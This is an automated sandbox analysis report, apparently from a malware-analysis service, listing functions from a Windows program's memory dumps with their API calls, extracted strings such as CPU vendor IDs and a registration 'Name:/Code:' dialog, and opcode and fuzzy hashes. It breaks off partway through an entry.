Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff634d8dd5f89708230c4433511c4fb5f4afc69332f4f9bdadde380bb81f1ec6
Instruction ID: e2f3bee413ecd744eacc358a35493b6176e1d1a49b7763e23ca14a2dfde7cac0
Opcode Fuzzy Hash: ff634d8dd5f89708230c4433511c4fb5f4afc69332f4f9bdadde380bb81f1ec6
Instruction Fuzzy Hash: EEC080710002079BD3545F39EC067867F9D9F4130CF514021E90545021F7B41471C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 05CC0440, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f59e1bb17642a47f6863ef23d65cb64d7d8a1f0c2bdff34c243c8005d78021
Instruction ID: 0695940cc3876e2d70659d81ebefca2eb7e657f1e54515f1b90b09191d4bba02
Opcode Fuzzy Hash: c2f59e1bb17642a47f6863ef23d65cb64d7d8a1f0c2bdff34c243c8005d78021
Instruction Fuzzy Hash: 95C04CA560D7D5ABC79F82A848281AD2FA25D5340C3CF18D6D5D4D6576E21588065313

Uniqueness

Uniqueness Score: -1.00%

Function 05CCA700, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aaa80ad69b07c000335d3cf5daff8f02befce46f8c97151ad9025f961008853
Instruction ID: f7d7e67f0a6cd1a844eed0caf7a7c0c5deaff2db3bf9af42902322e34e5a5e31
Opcode Fuzzy Hash: 2aaa80ad69b07c000335d3cf5daff8f02befce46f8c97151ad9025f961008853
Instruction Fuzzy Hash: BFC04C6550E7C04FDF278B309969AE97F37698620130D41D6E4818F167C6284619D7B6

Uniqueness

Uniqueness Score: -1.00%

Function 05CC5E90, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.730490883.0000000005CC0000.00000040.00000001.sdmp, Offset: 05CC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f36454b3ef5453e8a7ea86f85ff89efc5a4449582f91640b69b55e28dedd04e4
Instruction ID: 8dd13cf10b39e39d368ad534750f269980067e93edccaf387554a5f172299bca
Opcode Fuzzy Hash: f36454b3ef5453e8a7ea86f85ff89efc5a4449582f91640b69b55e28dedd04e4
Instruction Fuzzy Hash: 24B0123105420E8B8740AB66F4458583B5D954071CB81C511E60C4A4229AE42CA587CC

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D6E100, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Iphlpapi.dll,00000000,00D6E28F), ref: 00D6E136
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,Iphlpapi.dll,00000000,00D6E28F), ref: 00D6E151
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00D6E170
FreeLibrary.KERNEL32(00000000,00D6E269,00000000,00D6E28F), ref: 00D6E25C

Strings

GetAdaptersInfo, xrefs: 00D6E167
Iphlpapi.dll, xrefs: 00D6E131, 00D6E14C
VPN, xrefs: 00D6E208

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: GetAdaptersInfo$Iphlpapi.dll$VPN
API String ID: 1437655972-2591508982
Opcode ID: 647bac3040c94241283786c48d79e4d20a35a940033e2eaedfefadc81c9d19bb
Instruction ID: f5bca58400224c3ae1c0eda45f0b2fd222410c5a9cb0f5647acd70316903b2a2
Opcode Fuzzy Hash: 647bac3040c94241283786c48d79e4d20a35a940033e2eaedfefadc81c9d19bb
Instruction Fuzzy Hash: 8241D674D04349AFDF11DBA4C862AAEBBBDEB09300F5484A5ED44A3241E6349E49CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D80558, Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 00D805DE

Part of subcall function 00D80A10: GetVersionExA.KERNEL32(?,00000000,00D80ACE,?,00000000,?,00D805A1), ref: 00D80A67

GetVersionExA.KERNEL32(0000009C), ref: 00D805AD

Strings

System\CurrentControlSet\Control\ProductOptions, xrefs: 00D80660
ProductType, xrefs: 00D8065B
SERVERNT, xrefs: 00D80684
WINNT, xrefs: 00D8066F
LANMANNT, xrefs: 00D80699

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Version
String ID: LANMANNT$ProductType$SERVERNT$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-2290413088
Opcode ID: d672a00d2983a32294725cd911f597fcfa0bd6983b54dffdb69ca60553e415c7
Instruction ID: 5db06623f02ff1142ee1620f711e726bcaf7666a25096561eafed4294a15ba2d
Opcode Fuzzy Hash: d672a00d2983a32294725cd911f597fcfa0bd6983b54dffdb69ca60553e415c7
Instruction Fuzzy Hash: 2E31A474A052086FEFE0B6A488477AE7F99DB92300F580066E8409A241F670CD6D8B35

Uniqueness

Uniqueness Score: -1.00%

Function 00D81CDC, Relevance: 11.6, Strings: 9, Instructions: 323COMMON

Download Yara Rule

Strings

Unknown, xrefs: 00D821C6
ineI, xrefs: 00D81E9B
ntel, xrefs: 00D81EA8
CyrixInstead, xrefs: 00D82129
GenuineTMx86, xrefs: 00D82190
AuthenticAMD, xrefs: 00D8215E
GenuineIntel, xrefs: 00D820F4
Unknown, xrefs: 00D821A9
Genu, xrefs: 00D81E8E

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID: AuthenticAMD$CyrixInstead$Genu$GenuineIntel$GenuineTMx86$Unknown$Unknown$ineI$ntel
API String ID: 0-830308161
Opcode ID: b5630217e9172d313c60a00a676144625998adc1ed75b144d5b41ab1c77ce3af
Instruction ID: c30b42a38cff2bbf2223f7971b3a6d83695213bf689877c339b223fb2cc3ce74
Opcode Fuzzy Hash: b5630217e9172d313c60a00a676144625998adc1ed75b144d5b41ab1c77ce3af
Instruction Fuzzy Hash: C7D12875D08299CEEF25DB68C8427ADBBB4EB15300F1481AAE44CE7742D6744E89CF25

Uniqueness

Uniqueness Score: -1.00%

Function 00D7DC4C, Relevance: 10.6, APIs: 7, Instructions: 91nativewindowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00DA5114), ref: 00D7DC94
DestroyWindow.USER32(?), ref: 00D7DCC8
DestroyWindow.USER32(?), ref: 00D7DCF5
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 00D7DD51

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Window$Destroy$FocusNtdllProc_
String ID:
API String ID: 1251427592-0
Opcode ID: 9a8d619c2358ce6ef9cf179f2497f32f786977894029b856115a584fa65b2b6f
Instruction ID: 34a388fda40366f0e774ec5852da8c1a3cf38d726e02dbb3c1ffe86adc0fa20f
Opcode Fuzzy Hash: 9a8d619c2358ce6ef9cf179f2497f32f786977894029b856115a584fa65b2b6f
Instruction Fuzzy Hash: 4D2161313003486BDB21DFA8D986AAA33BAEF59301F94C504BE0D9F155E5B1D848C731

Uniqueness

Uniqueness Score: -1.00%

Function 00D70270, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00D96540,00000000,00000000,00000000,00000000,04000000,00000000,00000000,00D70362), ref: 00D702F0
DeviceIoControl.KERNEL32(00000000,00000001,?,000000FF,00000000,00000000,?,00000000), ref: 00D70325
CloseHandle.KERNEL32(00000000,00000000,00000001,?,000000FF,00000000,00000000,?,00000000,00D96540,00000000,00000000,00000000,00000000,04000000,00000000), ref: 00D7033C

Strings

\System\SER.VXD, xrefs: 00D702B9

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: \System\SER.VXD
API String ID: 33631002-3682912164
Opcode ID: 7ba29ac026aa196d4f9a9adf5eb3c1c7312b154965fb1eec62a76f0fa40b7a7b
Instruction ID: b5513936ecca6c8d90de2379ae53dbf7581657d97011f0e3b3172c415c98f722
Opcode Fuzzy Hash: 7ba29ac026aa196d4f9a9adf5eb3c1c7312b154965fb1eec62a76f0fa40b7a7b
Instruction Fuzzy Hash: 59213670640718ABDF10EB64DC92FDDB7A9DF44741F6040A1BD04A72D1E6709F09DA75

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D280, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,00000000,00D5D3DD), ref: 00D5D358

Strings

\pagefile.sys, xrefs: 00D5D2F0
\win386.swp, xrefs: 00D5D310

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: LocalTime
String ID: \pagefile.sys$\win386.swp
API String ID: 481472006-523492860
Opcode ID: ef6a286e8810d7cca0e950a0e18b17e765fc079febc5ff99a99285835f6c20dc
Instruction ID: 32abced13d3eb8768f63d2ba6360e881f9681ee5082b9966293a7f1f55bf63ab
Opcode Fuzzy Hash: ef6a286e8810d7cca0e950a0e18b17e765fc079febc5ff99a99285835f6c20dc
Instruction Fuzzy Hash: D8413C3490410EAADF60EFA4D8815DDB3B6EF09742F9084A1EC14A3651EB309F8ECB74

Uniqueness

Uniqueness Score: -1.00%

Function 00D7B0FC, Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

ntel, xrefs: 00D7B27E
ineI, xrefs: 00D7B285
Genu, xrefs: 00D7B277

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID: Genu$ineI$ntel
API String ID: 0-3389352399
Opcode ID: 0aefc0e59a5a7b015238e15ab5dd009297f3dd0eed26a3ffb960fcf2afded18a
Instruction ID: 7c0721becf9d2984b127d62f267dbf7bcd7003f1b552977d179be059ab5b9052
Opcode Fuzzy Hash: 0aefc0e59a5a7b015238e15ab5dd009297f3dd0eed26a3ffb960fcf2afded18a
Instruction Fuzzy Hash: 2E51BE71A046448BCF14EF6C84943FD7BB6EF45324F48859AD8898B34AE774CA42CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D576C4, Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,00000001,00D5D32D,00000000,00D5D3DD), ref: 00D576DF
GetLastError.KERNEL32(00000000,?,?,?,00000001,00D5D32D,00000000,00D5D3DD), ref: 00D57704

Part of subcall function 00D57660: FileTimeToLocalFileTime.KERNEL32(?), ref: 00D5768D
Part of subcall function 00D57660: FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 00D5769C

Part of subcall function 00D57714: FindClose.KERNEL32(?,?,00D57702,00000000,?,?,?,00000001,00D5D32D,00000000,00D5D3DD), ref: 00D57720

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: FileTime$Find$CloseDateErrorFirstLastLocal
String ID:
API String ID: 976985129-0
Opcode ID: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction ID: 366cdf6a486e4a33d8749b28f0a073eb7a36556e67e2f68ad950cd603cb58452
Opcode Fuzzy Hash: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction Fuzzy Hash: 6EE0ED76B05520074F21AE7CBC8195A6188CB887B332906B6FD10CB342DA35CC0A07F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D57898, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(00000000,?,?,?,?), ref: 00D578B9

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: e4ddb7180e04cb66fb0606ffb57a85d10895d678411ace08d43d243b4ca05203
Instruction ID: e8e61db519af913703772e9bfca32a01f1dfa02605fae92c2a7e810410ce6735
Opcode Fuzzy Hash: e4ddb7180e04cb66fb0606ffb57a85d10895d678411ace08d43d243b4ca05203
Instruction Fuzzy Hash: 1611D2B5E00209AF9B05CF99C881DAFF7F9EFC8310B54C559A905E7254E6319E058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D59C9C, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00D5B10E,00000000,00D5B327,?,?,00000000,00000000), ref: 00D59CAF

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction ID: a1f140d7e7fd53fcc06415ee153f47ca3f1ffb7f97949c002673c7f5dd4484f6
Opcode Fuzzy Hash: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction Fuzzy Hash: 41D05EA630D2506AF614625A6D85DBB9ADDCAC57B2F544039BD88C7342D210CC0AA3B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D76658, Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

112, xrefs: 00D768B3

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID: 112
API String ID: 0-1616928578
Opcode ID: fb0951aa7d9cdf4be2e0c9ea98972ed3eacc3ad093917007f2781885d147f71d
Instruction ID: 649408efe72f64b4bd76819aebafbeed8526f3213398a193e856203f29fce20d
Opcode Fuzzy Hash: fb0951aa7d9cdf4be2e0c9ea98972ed3eacc3ad093917007f2781885d147f71d
Instruction Fuzzy Hash: ED41F810B08D1457F6417DA8A882B5F0242CB45B54FA8C071E15D8F78BF6AACD0753F7

Uniqueness

Uniqueness Score: -1.00%

Function 00D65918, Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db50f009516e1e54c247f517d5c0cc891161523bda385d2698bb07fa04608184
Instruction ID: 84ea3bcb7285feb0055defa22a6fc2c5788fadf79cb82c7c55a61edab78b2158
Opcode Fuzzy Hash: db50f009516e1e54c247f517d5c0cc891161523bda385d2698bb07fa04608184
Instruction Fuzzy Hash: E70275BBD8163007C76CCEA4EC913E99183AAD036970FE378AC59E7705E97C9D4642D8

Uniqueness

Uniqueness Score: -1.00%

Function 00D60538, Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd71b007b39531eccf5735e58d54110dad8b75e6b87c482b587fb57d2123ace
Instruction ID: abb57d28dbbb24c4275d4243584d9b541969bc05127454fc08fe0f629e53c045
Opcode Fuzzy Hash: efd71b007b39531eccf5735e58d54110dad8b75e6b87c482b587fb57d2123ace
Instruction Fuzzy Hash: 3722EE727106008FCB9CCF29C8D2656B7E2FF88214719C5A9D819CF74AE735E862DB85

Uniqueness

Uniqueness Score: -1.00%

Function 00D6CADC, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aabba6042841f2779c603bbd147d962952f4fa025535d14792f4e4b3281bef5
Instruction ID: 41282e9530167144de80aac62b6403c1819653660ee621b4fa6b97264a82d386
Opcode Fuzzy Hash: 2aabba6042841f2779c603bbd147d962952f4fa025535d14792f4e4b3281bef5
Instruction Fuzzy Hash: 19917B31E206098FDB10DFA8C981ABEBBB5EF48350F256129D885B7391C774AD458FB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B334, Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa66b871cfbbba6364a774004f8863f364554f529ad3ea13bf0aa910c3004ff
Instruction ID: 58842f30fe5e255a754e09ff8f81d0dfb704ce30dfb902d379c348d6d813debb
Opcode Fuzzy Hash: 4fa66b871cfbbba6364a774004f8863f364554f529ad3ea13bf0aa910c3004ff
Instruction Fuzzy Hash: A1715D757046169FC724DE18C4C096AF7A1FB85320F59CA16E896CB705D730FC968BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00D8E7B0, Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd9c05bc2fdbbd027c414690126b44f67f850a4335e59fd2e37098511374605
Instruction ID: 74aed9826b9af18a68653383db5b37db903a50b961ca4d58c28969d8058763dd
Opcode Fuzzy Hash: 8bd9c05bc2fdbbd027c414690126b44f67f850a4335e59fd2e37098511374605
Instruction Fuzzy Hash: 17414F20708A544BE6457B64D842B5F2342DB45F18FE88030F5498BB4BE6EECD079BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00D7DE40, Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 165windowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7DD60: GetModuleHandleA.KERNEL32(comctl32.dll,00000000,00D7DE0A,?,00DA5128), ref: 00D7DDAA
Part of subcall function 00D7DD60: LoadLibraryA.KERNEL32(comctl32.dll,comctl32.dll,00000000,00D7DE0A,?,00DA5128), ref: 00D7DDBA
Part of subcall function 00D7DD60: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00D7DDCB

GetModuleHandleA.KERNEL32(00000000,?,?), ref: 00D7DEA2
LoadIconA.USER32(00DA5124,MAINICON), ref: 00D7DED5
LoadCursorA.USER32(00000000,00007F00), ref: 00D7DEE4
RegisterClassA.USER32(00DA50DC), ref: 00D7DF01
SetWindowTextA.USER32(00DA5118,00D9722E), ref: 00D7DF54
SetWindowTextA.USER32(00DA5120,Name:), ref: 00D7DF64
SetWindowTextA.USER32(00DA511C,Code:), ref: 00D7DF74
ShowWindow.USER32(00DA5104,00000001,00DA511C,Code:,00DA5120,Name:,00DA5118,00D9722E,00DA50DC,00000000,00007F00,00DA5124,MAINICON,00000000,?,?), ref: 00D7DF81
SetFocus.USER32(00DA5114,00DA5104,00000001,00DA511C,Code:,00DA5120,Name:,00DA5118,00D9722E,00DA50DC,00000000,00007F00,00DA5124,MAINICON,00000000,?), ref: 00D7DF8C
GetFocus.USER32 ref: 00D7DFA4
DestroyWindow.USER32(00DA5104,00DA5128,00000000,00000000,00000000,00DA5114,00DA5104,00000001,00DA511C,Code:,00DA5120,Name:,00DA5118,00D9722E,00DA50DC,00000000), ref: 00D7DFF0
TranslateMessage.USER32(00DA5128), ref: 00D7DFF6
DispatchMessageA.USER32(00DA5128), ref: 00D7DFFC
GetMessageA.USER32(00DA5128,00000000,00000000,00000000), ref: 00D7E008
DestroyWindow.USER32(00DA5110,00DA5128,00000000,00000000,00000000,00DA5114,00DA5104,00000001,00DA511C,Code:,00DA5120,Name:,00DA5118,00D9722E,00DA50DC,00000000), ref: 00D7E021
DestroyWindow.USER32(00DA5114,00DA5110,00DA5128,00000000,00000000,00000000,00DA5128,00DA5128,00DA5128,00000000,00000000,00000000,00DA5114,00DA5104,00000001,00DA511C), ref: 00D7E02C
DestroyWindow.USER32(00DA5108,00DA5114,00DA5110,00DA5128,00000000,00000000,00000000,00DA5128,00DA5128,00DA5128,00000000,00000000,00000000,00DA5114,00DA5104,00000001), ref: 00D7E037
DestroyWindow.USER32(00DA510C,00DA5108,00DA5114,00DA5110,00DA5128,00000000,00000000,00000000,00DA5128,00DA5128,00DA5128,00000000,00000000,00000000,00DA5114,00DA5104), ref: 00D7E042

Strings

MAINICON, xrefs: 00D7DECA
KeysDialog, xrefs: 00D7DEF8, 00D7DF2A
Name:, xrefs: 00D7DF59
Code:, xrefs: 00D7DF69

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Window$Destroy$LoadMessageText$FocusHandleModule$AddressClassCursorDispatchIconLibraryProcRegisterShowTranslate
String ID: Code:$KeysDialog$MAINICON$Name:
API String ID: 2025710122-2456160341
Opcode ID: 2072d327c0fd081b87bf95a0333cdde1ca38126e575ee4f8302f35b3d8d35ee4
Instruction ID: 43a779dd4efb429df1cdec835b62b7a5940d0d85c40673e7b138a82c3be7ad5b
Opcode Fuzzy Hash: 2072d327c0fd081b87bf95a0333cdde1ca38126e575ee4f8302f35b3d8d35ee4
Instruction Fuzzy Hash: 9C516C72600700ABDF10EFB8EC42B6A37A9EB5A301F448524FD48EF396E675E8048775

Uniqueness

Uniqueness Score: -1.00%

Function 00D7D9D8, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 173windowCOMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,EDIT,00D7DBC8,50000180,00000037,0000002B,00000122,00000015,00000000,00000000,00000000,00000000), ref: 00D7DA0D
CreateWindowExA.USER32(00000200,EDIT,00D7DBC8,50000180,00000037,00000043,00000122,00000015,00000000,00000000,00000000,00000000), ref: 00D7DA40
CreateWindowExA.USER32(00000020,Static,00D7DBC8,50000000,00000037,0000000F,00000104,00000014,00000000,00000000,00000000,00000000), ref: 00D7DACC
SendMessageA.USER32(00DA511C,00000030,00000000,00000001), ref: 00D7DB70
SendMessageA.USER32(00DA5120,00000030,00000000,00000001), ref: 00D7DB80
SendMessageA.USER32(00DA5110,00000030,00000000,00000001), ref: 00D7DB90
SendMessageA.USER32(00DA5114,00000030,00000000,00000001), ref: 00D7DBA0
SendMessageA.USER32(00DA5108,00000030,00000000,00000001), ref: 00D7DBB0
SendMessageA.USER32(00DA510C,00000030,00000000,00000001), ref: 00D7DBC0

Strings

BUTTON, xrefs: 00D7DA64, 00D7DA92
MS Sans Serif, xrefs: 00D7DB2C
Cancel, xrefs: 00D7DA8D
EDIT, xrefs: 00D7DA03, 00D7DA36
Static, xrefs: 00D7DAC5, 00D7DAED, 00D7DB18

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: MessageSend$CreateWindow
String ID: BUTTON$Cancel$EDIT$MS Sans Serif$Static
API String ID: 2286652126-4222191983
Opcode ID: 71b8a424699f7323f2a169a19bd05c9663b49c0f51814e5cb7b085dfe123afa7
Instruction ID: 4a338066cc70a45fee915fc2ceaa5a3de03bb99c43e3504cd18ab3e4de6044dc
Opcode Fuzzy Hash: 71b8a424699f7323f2a169a19bd05c9663b49c0f51814e5cb7b085dfe123afa7
Instruction Fuzzy Hash: BD51F6B03D07047BFA20AA949CA3F773269EB0AF41F904115BB48EF2D6D5E69C448B75

Uniqueness

Uniqueness Score: -1.00%

Function 00D85CCC, Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00000000,00D85EBA,?,00000000,00D85EE4), ref: 00D85D28
GetProcAddress.KERNEL32(00D9899C,00000000), ref: 00D85D63

Strings

GetLastError, xrefs: 00D85E0A
GetProcAddress, xrefs: 00D85DA3
SetLastError, xrefs: 00D85E28
ADVAPI32.DLL, xrefs: 00D85D8C
NTDLL.DLL, xrefs: 00D85D75
RaiseException, xrefs: 00D85DC1
KERNEL32.DLL, xrefs: 00D85D23

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: AddressHandleModuleProc
String ID: ADVAPI32.DLL$GetLastError$GetProcAddress$KERNEL32.DLL$NTDLL.DLL$RaiseException$SetLastError
API String ID: 1646373207-793347734
Opcode ID: 5fc7b167b816bc99258f7d2548267326593233d5d36d4af2ad552180a3af6387
Instruction ID: 3b6ab4e3094beab494f53ecefc88bb9b8110309caee8ea61cf9429904faad825
Opcode Fuzzy Hash: 5fc7b167b816bc99258f7d2548267326593233d5d36d4af2ad552180a3af6387
Instruction Fuzzy Hash: 7B618F78629701DFD781EF68E881D16B7F5FB8931075281A2E908CB369D730BD85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DF1C, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00D6DF57
GetModuleHandleA.KERNEL32(Rpcrt4.dll,00000094), ref: 00D6DF61
LoadLibraryA.KERNEL32(Rpcrt4.dll,?,Rpcrt4.dll,00000094), ref: 00D6DF7C
GetProcAddress.KERNEL32(00000000,UuidCreate), ref: 00D6DFAC
FreeLibrary.KERNEL32(00000000,00D6E06D,00000094), ref: 00D6E060

Strings

Rpcrt4.dll, xrefs: 00D6DF5C, 00D6DF77
UuidCreateSequential, xrefs: 00D6DF9B, 00D6DFA7
UuidCreate, xrefs: 00D6DFA2

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: Library$AddressFreeHandleLoadModuleProcVersion
String ID: Rpcrt4.dll$UuidCreate$UuidCreateSequential
API String ID: 3212936074-3821272291
Opcode ID: 7abcbc610cccd1bf021d654dffc3b4b77f516a22d07286c506b445b76e3371cb
Instruction ID: ce8847f67eaffc372a1b15cd9b95f84e028ce86920806c15e9b9f842d0008d88
Opcode Fuzzy Hash: 7abcbc610cccd1bf021d654dffc3b4b77f516a22d07286c506b445b76e3371cb
Instruction Fuzzy Hash: 84416275D0828CAFDF11EFE48851ADEBBB9EF59340F4444E6E84463242D6758A4DCB31

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B05C, Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00D5B327,?,?,00000000,00000000), ref: 00D5B092

Strings

mmmm d, yyyy, xrefs: 00D5B18E
AMPM , xrefs: 00D5B2B5
AMPM, xrefs: 00D5B2A6
:mm:ss, xrefs: 00D5B2E2
:mm, xrefs: 00D5B2C5
m/d/yy, xrefs: 00D5B161

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 635194068-2493093252
Opcode ID: a18ef8b68c1fb55a72750c6abcd9576398da61417fb6dd580224020826ed15eb
Instruction ID: bde5b54d0bb44cc1c7660c54792a596a7527d89c2dd91dec71239b71d8b004ff
Opcode Fuzzy Hash: a18ef8b68c1fb55a72750c6abcd9576398da61417fb6dd580224020826ed15eb
Instruction Fuzzy Hash: 8B614C307002099BDF01EBA4D851AAEB7A6EF89312F608436BD15EB356DB34DE0D9774

Uniqueness

Uniqueness Score: -1.00%

Function 00D8486C, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 157COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00D967B8,?,00000105,- [%s],00D84B40,- %x,00D84B40,- %d,00D84B40,- %d,00D84B40,- %d,00D84B40,- %d,00D84B40,Code = [%d]), ref: 00D849B6

Strings

Wdpqjlj>, xrefs: 00D848A3
- [%s], xrefs: 00D84969
HlcefAew`?, xrefs: 00D848C6
- %x, xrefs: 00D8495F
- %d, xrefs: 00D84937, 00D84941, 00D8494B, 00D84955
Code = [%d], xrefs: 00D8492D

Memory Dump Source

Source File: 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp, Offset: 00D51000, based on PE: false

Similarity

API ID: FileModuleName
String ID: - %d$- %x$- [%s]$Code = [%d]$HlcefAew`?$Wdpqjlj>
API String ID: 514040917-1860075450
Opcode ID: b71fca9763513ecfa5a470ac19ab8aeffffdb26c7c1d2604c9ab0049a5891b51
Instruction ID: 6efdc19e33c2d69138b8a31c41950c90cae2506e93e09ba0412981ad1d6b1c09
Opcode Fuzzy Hash: b71fca9763513ecfa5a470ac19ab8aeffffdb26c7c1d2604c9ab0049a5891b51
Instruction Fuzzy Hash: 7C612974A003599FCB61EB68DC52FC9B7B4EB49705F0045E5A948A3391EA70EE898F70

Uniqueness
